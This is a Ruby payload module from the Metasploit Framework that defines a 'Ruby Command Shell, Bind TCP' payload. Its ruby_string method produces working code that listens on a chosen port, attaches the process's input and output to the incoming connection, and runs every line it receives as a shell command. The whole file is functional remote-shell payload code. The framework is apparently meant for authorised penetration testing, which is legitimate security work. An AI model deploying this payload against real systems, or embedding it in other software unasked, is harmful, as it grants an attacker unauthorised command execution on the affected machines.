metasploit-framework/modules/payloads/singles/ruby/shell_bind_tcp.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/payload/ruby'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Payload::Single
	include Msf::Payload::Ruby
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'        => 'Ruby Command Shell, Bind TCP',
			'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
			'Author'      => [ 'kris katterjohn', 'hdm' ],
			'License'     => MSF_LICENSE,
			'Platform'    => 'ruby',
			'Arch'        => ARCH_RUBY,
			'Handler'     => Msf::Handler::BindTcp,
			'Session'     => Msf::Sessions::CommandShell,
			'PayloadType' => 'ruby',
			'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
		))
	end

	def generate
		return prepends(ruby_string)
	end

	def ruby_string
		"require 'socket';s=TCPServer.new(#{datastore['LPORT'].to_i});c=s.accept;s.close;"+
		"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
		"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
	end
end